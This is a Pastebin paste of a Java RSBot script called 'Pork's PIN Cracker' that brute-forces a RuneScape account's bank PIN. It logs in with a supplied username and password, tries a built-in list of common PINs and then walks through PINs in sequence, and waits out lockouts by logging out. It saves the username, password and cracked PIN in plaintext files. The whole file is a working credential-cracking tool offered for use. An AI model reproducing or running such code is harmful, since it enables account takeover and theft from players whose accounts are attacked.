Advertisement
Guest User

Untitled

a guest
Sep 13th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.04 KB | None | 0 0
  1. import org.rsbot.script.Script;
  2. import org.rsbot.script.ScriptManifest;
  3. import org.rsbot.script.wrappers.RSComponent;
  4. import org.rsbot.event.listeners.PaintListener;
  5. import org.rsbot.util.GlobalConfiguration;
  6.  
  7. import java.awt.*;
  8. import java.io.*;
  9. import java.awt.event.*;
  10. import javax.swing.*;
  11. import java.util.*;
  12.  
  13. @ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 2.0)
  14. public class PINCracker extends Script implements PaintListener {
  15.  
  16. private String username;
  17. private String password;
  18. private String pin;
  19. private boolean logout;
  20. private boolean useCommonPINs;
  21. private boolean ascend;
  22.  
  23. // Thanks to Bar~ for the list
  24. private String[] commonPINs = {"1950", "1951", "1952", "1953", "1954", "1955", "1956", "1957", "1958", "1959",
  25. "1960", "1961", "1962", "1963", "1964", "1965", "1966", "1967", "1968", "1969",
  26. "1970", "1971", "1972", "1973", "1974", "1975", "1976", "1977", "1978", "1979",
  27. "1980", "1981", "1982", "1983", "1984", "1985", "1986", "1987", "1988", "1989",
  28. "1990", "1991", "1992", "1993", "1994", "1995", "1996", "1997", "1998", "1999",
  29. "2000", "2001", "2002", "2003", "2004", "2005", "2006", "2007", "2008", "2009",
  30. "2010", "2011", "2012", "2468", "1337", "0101", "0202", "0303", "0404", "0505",
  31. "0606", "0707", "0808", "0909", "1010", "1212", "1313", "1414", "1515", "1616",
  32. "1717", "1818", "1919", "2020", "2121", "2323", "2424", "2525", "2626", "2727",
  33. "2828", "2929", "3030", "3131", "3232", "3434", "3535", "3636", "3737", "3838",
  34. "3939", "4040", "4141", "4242", "4343", "4545", "4646", "4747", "4848", "4949",
  35. "5050", "5151", "5252", "5353", "5454", "5656", "5757", "5858", "5959", "6060",
  36. "6161", "6262", "6363", "6464", "6565", "6767", "6868", "6969", "7070", "7171",
  37. "7272", "7373", "7474", "7575", "7676", "7878", "7979", "8080", "8181", "8282",
  38. "8383", "8484", "8585", "8686", "8787", "8989", "9090", "9191", "9292", "9393",
  39. "9494", "9595", "9696", "9797", "9898", "9119", "6667", "1800", "1000", "3000",
  40. "4000", "5000", "6000", "7000", "8000", "9000", "1001", "1221", "1331", "1441",
  41. "1551", "1661", "1771", "1881", "2112", "2332", "2442", "2552", "2662", "2772",
  42. "2882", "2992", "3003", "3113", "3223", "3443", "3553", "3663", "3773", "3883",
  43. "3993", "4004", "4114", "4224", "4334", "4554", "4664", "4774", "4884", "4994",
  44. "5005", "5115", "5225", "5335", "5445", "5665", "5775", "5885", "5995", "6006",
  45. "6116", "6226", "6336", "6446", "6556", "6776", "6886", "6996", "7007", "7117",
  46. "7227", "7337", "7447", "7557", "7667", "7887", "7997", "8008", "8118", "8228",
  47. "8338", "8448", "8558", "8668", "8778", "8998", "9009", "9119", "9229", "9339",
  48. "9449", "9559", "9669", "9779", "9889", "0011", "0022", "0033", "0044", "0055",
  49. "0066", "0077", "0088", "0099", "1100", "1122", "1133", "1144", "1155", "1166",
  50. "1177", "1188", "1199", "2200", "2211", "2233", "2244", "2255", "2266", "2277",
  51. "2288", "2299", "3300", "3311", "3322", "3344", "3355", "3366", "3377", "3388",
  52. "3399", "4400", "4411", "4422", "4433", "4455", "4466", "4477", "4488", "4499",
  53. "5500", "5511", "5522", "5533", "5544", "5566", "5577", "5588", "5599", "6600",
  54. "6611", "6622", "6633", "6644", "6655", "6677", "6688", "6699", "7700", "7711",
  55. "7722", "7733", "7744", "7755", "7766", "7788", "7799", "8800", "8811", "8822",
  56. "8833", "8844", "8855", "8866", "8877", "8899", "9900", "9911", "9922", "9933",
  57. "9944", "9955", "9966", "9977", "9988"};
  58.  
  59. private int state;
  60. private int tried = 0;
  61. private long banktimeout = 10;
  62. private String startPIN = pin;
  63. private boolean commonPINsFinished = true;
  64. private String actualPIN = "";
  65.  
  66. //Paint variables
  67. public long startTime = 0;
  68. public long millis = 0;
  69. public long hours = 0;
  70. public long minutes = 0;
  71. public long seconds = 0;
  72. public long last = 0;
  73. public int totalTried = 0;
  74. public int pinsPerHour = 0;
  75. public String currentPIN;
  76. public boolean pinIsCracked = false;
  77.  
  78. //GUI variables
  79. private final JFrame frame = new JFrame();
  80. private javax.swing.JButton startButton;
  81. private javax.swing.JCheckBox logoutCheckBox;
  82. private javax.swing.JCheckBox ascendCheckBox;
  83. private javax.swing.JCheckBox useCommonCheckBox;
  84. private javax.swing.JLabel usernameLabel;
  85. private javax.swing.JLabel titleLabel;
  86. private javax.swing.JLabel passwordLabel;
  87. private javax.swing.JLabel startPinLabel;
  88. private javax.swing.JPanel accountInfoPanel;
  89. private javax.swing.JPanel settingsPanel;
  90. private javax.swing.JPasswordField passwordTextField;
  91. private javax.swing.JTextField usernameTextField;
  92. private javax.swing.JTextField startPinTextField;
  93.  
  94. private Properties settings = new Properties();
  95. private Dimension dim = Toolkit.getDefaultToolkit().getScreenSize();
  96.  
  97. public boolean activateCondition() {
  98. return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  99. }
  100.  
  101. public long bankTimeout() {
  102. return banktimeout;
  103. }
  104.  
  105. public void enterCode(final String aPin) {
  106. if (!interfaces.get(13).isValid())
  107. return;
  108. final RSComponent[] children = interfaces.get(13).getComponents();
  109. state = 0;
  110. for (int i = 1; i < 5; i++) {
  111. if (children[i].containsText("?"))
  112. state++;
  113. }
  114. state = 4 - state;
  115. currentPIN = pin;
  116. if (!interfaces.get(759).isValid())
  117. return;
  118. final RSComponent[] bankPin = interfaces.get(759).getComponents();
  119. for (int i = 0; i < bankPin.length; i++) {
  120. if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  121. actualPIN += bankPin[i].getText();
  122. bankPin[i].doClick();
  123. break;
  124. }
  125. }
  126. if (state >= 3) {
  127. tried++;
  128. totalTried++;
  129. log("Entered PIN: " + actualPIN);
  130. if (tried == 2) {
  131. if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  132. pinIsCracked();
  133. else
  134. sleep(11000);
  135. }
  136. else if(tried >= 3) {
  137. sleep(2000);
  138. if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  139. pinIsCracked();
  140. else {
  141. sleep(14000);
  142. tried = 0;
  143. while(game.isLoggedIn())
  144. logout();
  145. }
  146. }
  147. try {
  148. BufferedWriter file = new BufferedWriter(new FileWriter(new File(GlobalConfiguration.Paths.getSettingsDirectory(), "\\" +
  149.  
  150. username.toUpperCase().replaceAll(" ", "_") + " Progress.txt")));
  151. file.write("Username: " + username);
  152. file.newLine();
  153. file.write("Password: " + password);
  154. file.newLine();
  155. if (useCommonPINs && !commonPINsFinished)
  156. file.write("Last PIN attempted: " + currentPIN + " (From the common PIN list)");
  157. else
  158. file.write("Last PIN attempted: " + currentPIN);
  159. file.close();
  160. }
  161. catch (Exception e) {}
  162. int temp = 0;
  163. if (useCommonPINs && (totalTried <= commonPINs.length)) {
  164. if (totalTried >= commonPINs.length) {
  165. temp = Integer.parseInt(startPIN);
  166. commonPINsFinished = true;
  167. }
  168. else
  169. temp = Integer.parseInt(commonPINs[totalTried]);
  170. }
  171. else {
  172. temp = Integer.parseInt(pin);
  173. if (ascend) {
  174. if (Integer.parseInt(actualPIN) == temp)
  175. temp++;
  176. else
  177. log.warning("Entered wrong PIN... retrying...");
  178. }
  179. else {
  180. if (Integer.parseInt(actualPIN) == temp)
  181. temp--;
  182. else
  183. log.warning("Entered wrong PIN... retrying...");
  184. }
  185. if (useCommonPINs) {
  186. for (int i=0; i<commonPINs.length; i++) {
  187. if (temp == Integer.parseInt(commonPINs[i])) {
  188. if (ascend) {
  189. if (Integer.parseInt(actualPIN) == temp)
  190. temp++;
  191. else
  192. log.warning("Entered wrong PIN... retrying...");
  193. }
  194. else {
  195. if (Integer.parseInt(actualPIN) == temp)
  196. temp--;
  197. else
  198. log.warning("Entered wrong PIN... retrying...");
  199. }
  200. }
  201. }
  202. }
  203. }
  204. if (temp >= 0 && temp <= 9)
  205. pin = String.format("000%d", temp);
  206. else if(temp >= 10 && temp <= 99)
  207. pin = String.format("00%d", temp);
  208. else if(temp >= 100 && temp <= 999)
  209. pin = String.format("0%d", temp);
  210. else if(temp >= 1000 && temp <= 9999)
  211. pin = "" + temp;
  212. actualPIN = "";
  213. }
  214. }
  215.  
  216. public void logout() {
  217. if (game.isLoggedIn()) {
  218. while (!game.isOnLogoutTab()) {
  219. mouse.click(755, 9, true);
  220. sleep(200, 800);
  221. }
  222. mouse.click(643, 375, true);
  223. while (game.isLoggedIn()) {
  224. mouse.click(643, 375, true);
  225. sleep(500, 1200);
  226. }
  227. }
  228. }
  229. public void login() {
  230. if (interfaces.get(906).containsText("account has not logged out") || interfaces.get(596).containsText("account has not logged out"))
  231. mouse.click(382, 322, true);
  232. else if(interfaces.get(596).containsText("Error connecting"))
  233. mouse.click(382, 305, true);
  234. else if(interfaces.get(906).isValid()) {
  235. interfaces.get(906).getComponent(171).doClick();
  236. while(interfaces.get(906).containsText("Entering game"))
  237. sleep(500);
  238. }
  239. else if (interfaces.get(596).isValid()) {
  240. if(interfaces.get(596).getComponent(65).getText().length() == 0) {
  241. interfaces.get(596).getComponent(65).doClick();
  242. sleep(1000);
  243. keyboard.sendText(username, false);
  244. }
  245. if(interfaces.get(596).getComponent(71).getText().length() == 0) {
  246. interfaces.get(596).getComponent(71).doClick();
  247. sleep(1000);
  248. keyboard.sendText(password, false);
  249. }
  250. interfaces.get(596).getComponent(51).doClick();
  251. sleep(3000);
  252. }
  253. }
  254.  
  255. public void pinIsCracked() {
  256. pinIsCracked = true;
  257. log("PIN SUCCESSFULLY CRACKED!");
  258. log.warning("PIN: " + currentPIN);
  259. try {
  260. BufferedWriter file = new BufferedWriter(new FileWriter(new File(GlobalConfiguration.Paths.getSettingsDirectory(), "\\" + username.toUpperCase
  261.  
  262. ().replaceAll(" ", "_") + " Progress.txt")));
  263. file.write("Username: " + username);
  264. file.newLine();
  265. file.write("Password: " + password);
  266. file.newLine();
  267. file.write("CRACKED PIN: " + currentPIN);
  268. log("Info wrote to " + GlobalConfiguration.Paths.getSettingsDirectory() + "\\" + username.toUpperCase().replaceAll(" ", "_") + " Progress.txt");
  269. file.close();
  270. }
  271. catch (Exception e) {}
  272. if (logout) {
  273. log("Logging out...");
  274. while(game.isLoggedIn())
  275. game.logout(false);
  276. stopScript();
  277. }
  278. else {
  279. log("Staying logged in...");
  280. mouse.setSpeed(8);
  281. while(true) {
  282. sleep(1000);
  283. if (random(0,60) == 50) {
  284. camera.setAngle(random(0,360));
  285. mouse.moveRandomly(300);
  286. }
  287. while(!game.isLoggedIn())
  288. login();
  289. }
  290. }
  291. }
  292.  
  293. @Override
  294. public boolean onStart() {
  295. startTime = System.currentTimeMillis();
  296. mouse.setSpeed(1);
  297. initGUI();
  298. while (frame.isVisible())
  299. sleep(500);
  300. currentPIN = pin;
  301. startPIN = pin;
  302. if (useCommonPINs) {
  303. pin = commonPINs[0];
  304. currentPIN = commonPINs[0];
  305. commonPINsFinished = false;
  306. }
  307. return true;
  308. }
  309.  
  310. @Override
  311. public int loop() {
  312. if (game.isLoggedIn()) {
  313. if (interfaces.get(13).isValid()) {
  314. enterCode(pin);
  315. sleep(900, 1000);
  316. }
  317. else if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  318. pinIsCracked();
  319. else
  320. bank.open();
  321. }
  322. else
  323. login();
  324. return random(100, 300);
  325. }
  326.  
  327. public void onRepaint(Graphics g1) {
  328. Graphics2D g = (Graphics2D)g1;
  329.  
  330. millis = System.currentTimeMillis() - startTime;
  331. hours = millis / (1000 * 60 * 60);
  332. millis -= hours * (1000 * 60 * 60);
  333. minutes = millis / (1000 * 60);
  334. millis -= minutes * (1000 * 60);
  335. seconds = millis / 1000;
  336. String hoursString = "" + hours;
  337. String minutesString = "" + minutes;
  338. String secondsString = "" + seconds;
  339. if (hours < 10)
  340. hoursString = "0" + hours;
  341. if (minutes < 10)
  342. minutesString = "0" + minutes;
  343. if (seconds < 10)
  344. secondsString = "0" + seconds;
  345.  
  346. if (!pinIsCracked) {
  347. g.setColor(new Color(0,0,255,200));
  348. int x = (int) mouse.getLocation().getX();
  349. int y = (int) mouse.getLocation().getY();
  350. g.drawLine(x, 0, x, game.getHeight());
  351. g.drawLine(0,y,game.getWidth(),y);
  352. if (commonPINsFinished) {
  353. g.setColor(new Color(0, 0, 255, 230));
  354. g.fillRect(5, 5, 190, 65);
  355. g.setFont(new Font("Arial", Font.BOLD, 15));
  356. g.setColor(Color.WHITE);
  357. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  358. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  359. g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
  360. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  361. }
  362. else {
  363. g.setColor(new Color(0, 0, 255, 230));
  364. g.fillRect(5, 5, 190, 75);
  365. g.setFont(new Font("Arial", Font.BOLD, 15));
  366. g.setColor(Color.WHITE);
  367. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  368. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  369. g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
  370. g.setFont(new Font("Arial", Font.BOLD, 10));
  371. g.drawString("(Trying common PINs first: " + totalTried + "/" + commonPINs.length + ")", 10, 61);
  372. g.setFont(new Font("Arial", Font.BOLD, 15));
  373. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 76);
  374. }
  375. }
  376. else {
  377. g.setColor(new Color(0, 255, 0, 230));
  378. g.fillRect(5, 5, 190, 65);
  379. g.setFont(new Font("Arial", Font.BOLD, 20));
  380. g.setColor(Color.WHITE);
  381. g.drawString("PIN CRACKED", 34, 25);
  382. g.setFont(new Font("Arial", Font.BOLD, 40));
  383. g.drawString(currentPIN, 56, 62);
  384. }
  385. }
  386.  
  387. public void initGUI() {
  388. try {
  389. UIManager.setLookAndFeel("com.sun.java.swing.plaf.windows.WindowsLookAndFeel");
  390. }
  391. catch (Exception e) {}
  392.  
  393. titleLabel = new javax.swing.JLabel();
  394. accountInfoPanel = new javax.swing.JPanel();
  395. usernameTextField = new javax.swing.JTextField();
  396. usernameLabel = new javax.swing.JLabel();
  397. passwordLabel = new javax.swing.JLabel();
  398. passwordTextField = new javax.swing.JPasswordField();
  399. settingsPanel = new javax.swing.JPanel();
  400. startPinLabel = new javax.swing.JLabel();
  401. startPinTextField = new javax.swing.JTextField();
  402. logoutCheckBox = new javax.swing.JCheckBox();
  403. useCommonCheckBox = new javax.swing.JCheckBox();
  404. ascendCheckBox = new javax.swing.JCheckBox();
  405. ascendCheckBox = new javax.swing.JCheckBox();
  406. startButton = new javax.swing.JButton();
  407.  
  408. startPinLabel.setText("0000");
  409. ascendCheckBox.setSelected(true);
  410. try {
  411. settings.load(new FileInputStream(GlobalConfiguration.Paths.getSettingsDirectory()+"\\PINCrackerSettings.ini"));
  412. if (settings.getProperty("username").length() != 0)
  413. usernameTextField.setText(settings.getProperty("username"));
  414. if (settings.getProperty("password").length() != 0)
  415. passwordTextField.setText(settings.getProperty("password"));
  416. if (settings.getProperty("startpin").length() != 0)
  417. startPinTextField.setText(settings.getProperty("startpin"));
  418. if (settings.getProperty("ascend").length() != 0)
  419. ascendCheckBox.setSelected(Boolean.parseBoolean(settings.getProperty("ascend")));
  420. if (settings.getProperty("logout").length() != 0)
  421. logoutCheckBox.setSelected(Boolean.parseBoolean(settings.getProperty("logout")));
  422. if (settings.getProperty("usecommon").length() != 0)
  423. useCommonCheckBox.setSelected(Boolean.parseBoolean(settings.getProperty("usecommon")));
  424. }
  425. catch (Exception e) {}
  426. frame.setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
  427. frame.setTitle("Pork's PIN Cracker");
  428. frame.setResizable(false);
  429.  
  430. titleLabel.setFont(new java.awt.Font("Arial", 1, 24));
  431. titleLabel.setForeground(new java.awt.Color(50, 50, 50));
  432. titleLabel.setHorizontalAlignment(javax.swing.SwingConstants.CENTER);
  433. titleLabel.setText("Pork's PIN Cracker");
  434.  
  435. accountInfoPanel.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Login Details",
  436.  
  437. javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Tahoma", 0, 11), new
  438.  
  439. java.awt.Color(51, 51, 51)));
  440.  
  441. usernameTextField.setFont(new java.awt.Font("Tahoma", 0, 12));
  442.  
  443. usernameLabel.setFont(new java.awt.Font("Tahoma", 0, 12));
  444. usernameLabel.setText("Username");
  445.  
  446. passwordLabel.setFont(new java.awt.Font("Tahoma", 0, 12));
  447. passwordLabel.setText("Password");
  448.  
  449. passwordTextField.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
  450.  
  451. javax.swing.GroupLayout accountInfoPanelLayout = new javax.swing.GroupLayout(accountInfoPanel);
  452. accountInfoPanel.setLayout(accountInfoPanelLayout);
  453. accountInfoPanelLayout.setHorizontalGroup(
  454. accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  455. .addGroup(accountInfoPanelLayout.createSequentialGroup()
  456. .addContainerGap()
  457. .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  458. .addComponent(usernameLabel)
  459. .addComponent(passwordLabel))
  460. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  461. .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  462. .addComponent(passwordTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 141, Short.MAX_VALUE)
  463. .addComponent(usernameTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 141, Short.MAX_VALUE))
  464. .addContainerGap())
  465. );
  466. accountInfoPanelLayout.setVerticalGroup(
  467. accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  468. .addGroup(accountInfoPanelLayout.createSequentialGroup()
  469. .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  470. .addComponent(usernameLabel)
  471. .addComponent(usernameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE,
  472.  
  473. javax.swing.GroupLayout.PREFERRED_SIZE))
  474. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  475. .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  476. .addComponent(passwordLabel)
  477. .addComponent(passwordTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE,
  478.  
  479. javax.swing.GroupLayout.PREFERRED_SIZE))
  480. .addContainerGap(6, Short.MAX_VALUE))
  481. );
  482.  
  483. settingsPanel.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Settings", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION,
  484.  
  485. javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Tahoma", 0, 11), new java.awt.Color(51, 51, 51)));
  486.  
  487. startPinLabel.setFont(new java.awt.Font("Tahoma", 0, 12));
  488. startPinLabel.setText("Starting PIN");
  489.  
  490. startPinTextField.setFont(new java.awt.Font("Tahoma", 0, 12));
  491. startPinTextField.setHorizontalAlignment(javax.swing.JTextField.CENTER);
  492.  
  493. logoutCheckBox.setFont(new java.awt.Font("Tahoma", 0, 12));
  494. logoutCheckBox.setText("Log out after PIN is cracked");
  495.  
  496. useCommonCheckBox.setFont(new java.awt.Font("Tahoma", 0, 12));
  497. useCommonCheckBox.setText("Try common PINs first");
  498.  
  499. ascendCheckBox.setFont(new java.awt.Font("Tahoma", 0, 12));
  500. ascendCheckBox.setLabel("Ascend");
  501.  
  502. javax.swing.GroupLayout settingsPanelLayout = new javax.swing.GroupLayout(settingsPanel);
  503. settingsPanel.setLayout(settingsPanelLayout);
  504. settingsPanelLayout.setHorizontalGroup(
  505. settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  506. .addGroup(settingsPanelLayout.createSequentialGroup()
  507. .addContainerGap()
  508. .addGroup(settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  509. .addComponent(useCommonCheckBox)
  510. .addGroup(settingsPanelLayout.createSequentialGroup()
  511. .addComponent(startPinLabel)
  512. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  513. .addComponent(startPinTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 42, javax.swing.GroupLayout.PREFERRED_SIZE)
  514. .addGap(18, 18, 18)
  515. .addComponent(ascendCheckBox))
  516. .addComponent(logoutCheckBox))
  517. .addContainerGap(14, Short.MAX_VALUE))
  518. );
  519. settingsPanelLayout.setVerticalGroup(
  520. settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  521. .addGroup(settingsPanelLayout.createSequentialGroup()
  522. .addGroup(settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  523. .addComponent(startPinLabel)
  524. .addComponent(startPinTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE,
  525.  
  526. javax.swing.GroupLayout.PREFERRED_SIZE)
  527. .addComponent(ascendCheckBox))
  528. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  529. .addComponent(logoutCheckBox)
  530. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  531. .addComponent(useCommonCheckBox)
  532. .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  533. );
  534.  
  535. startButton.setFont(new java.awt.Font("Tahoma", 0, 14));
  536. startButton.setActionCommand("Cancel");
  537. startButton.setLabel("Start");
  538.  
  539. javax.swing.GroupLayout layout = new javax.swing.GroupLayout(frame.getContentPane());
  540. frame.getContentPane().setLayout(layout);
  541. layout.setHorizontalGroup(
  542. layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  543. .addGroup(layout.createSequentialGroup()
  544. .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  545. .addGroup(layout.createSequentialGroup()
  546. .addContainerGap()
  547. .addComponent(settingsPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  548. .addGroup(layout.createSequentialGroup()
  549. .addContainerGap()
  550. .addComponent(accountInfoPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  551. .addGroup(layout.createSequentialGroup()
  552. .addContainerGap()
  553. .addComponent(startButton, javax.swing.GroupLayout.DEFAULT_SIZE, 231, Short.MAX_VALUE)))
  554. .addContainerGap())
  555. .addGroup(layout.createSequentialGroup()
  556. .addGap(18, 18, 18)
  557. .addComponent(titleLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  558. .addGap(20, 20, 20))
  559. );
  560. layout.setVerticalGroup(
  561. layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  562. .addGroup(layout.createSequentialGroup()
  563. .addContainerGap()
  564. .addComponent(titleLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 17, javax.swing.GroupLayout.PREFERRED_SIZE)
  565. .addGap(11, 11, 11)
  566. .addComponent(accountInfoPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 81, javax.swing.GroupLayout.PREFERRED_SIZE)
  567. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  568. .addComponent(settingsPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 98, javax.swing.GroupLayout.PREFERRED_SIZE)
  569. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  570. .addComponent(startButton, javax.swing.GroupLayout.DEFAULT_SIZE, 35, Short.MAX_VALUE)
  571. .addContainerGap())
  572. );
  573. startButton.addActionListener(new ActionListener() {
  574. public void actionPerformed(ActionEvent e) {
  575. boolean startPinIsValid = true;
  576. for (int i=0; i<startPinTextField.getText().length(); i++) {
  577. if (!Character.isDigit(startPinTextField.getText().charAt(i))) {
  578. startPinIsValid = false;
  579. break;
  580. }
  581. }
  582. if (startPinTextField.getText().length() != 4 || !startPinIsValid)
  583. JOptionPane.showMessageDialog(frame, "The starting PIN must be 4 digits.", "Pork's PIN Cracker", JOptionPane.ERROR_MESSAGE);
  584. else {
  585. settings.setProperty("username", usernameTextField.getText());
  586. settings.setProperty("password", passwordTextField.getText());
  587. settings.setProperty("startpin", startPinTextField.getText());
  588. settings.setProperty("ascend", String.valueOf(ascendCheckBox.isSelected()));
  589. settings.setProperty("logout", String.valueOf(logoutCheckBox.isSelected()));
  590. settings.setProperty("usecommon", String.valueOf(useCommonCheckBox.isSelected()));
  591. username = usernameTextField.getText();
  592. password = passwordTextField.getText();
  593. pin = startPinTextField.getText();
  594. ascend = ascendCheckBox.isSelected();
  595. logout = logoutCheckBox.isSelected();
  596. useCommonPINs = useCommonCheckBox.isSelected();
  597. frame.setVisible(false);
  598. try {
  599. settings.save(new FileOutputStream(GlobalConfiguration.Paths.getSettingsDirectory() + "\\PINCrackerSettings.ini"), "Settings for
  600.  
  601. Pork's PIN Cracker");
  602. }
  603. catch (Exception f) {}
  604. }
  605. }
  606. });
  607. frame.pack();
  608. frame.setLocation((dim.width-frame.getSize().width)/2, (dim.height-frame.getSize().height)/2);
  609. frame.setVisible(true);
  610. }
  611. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement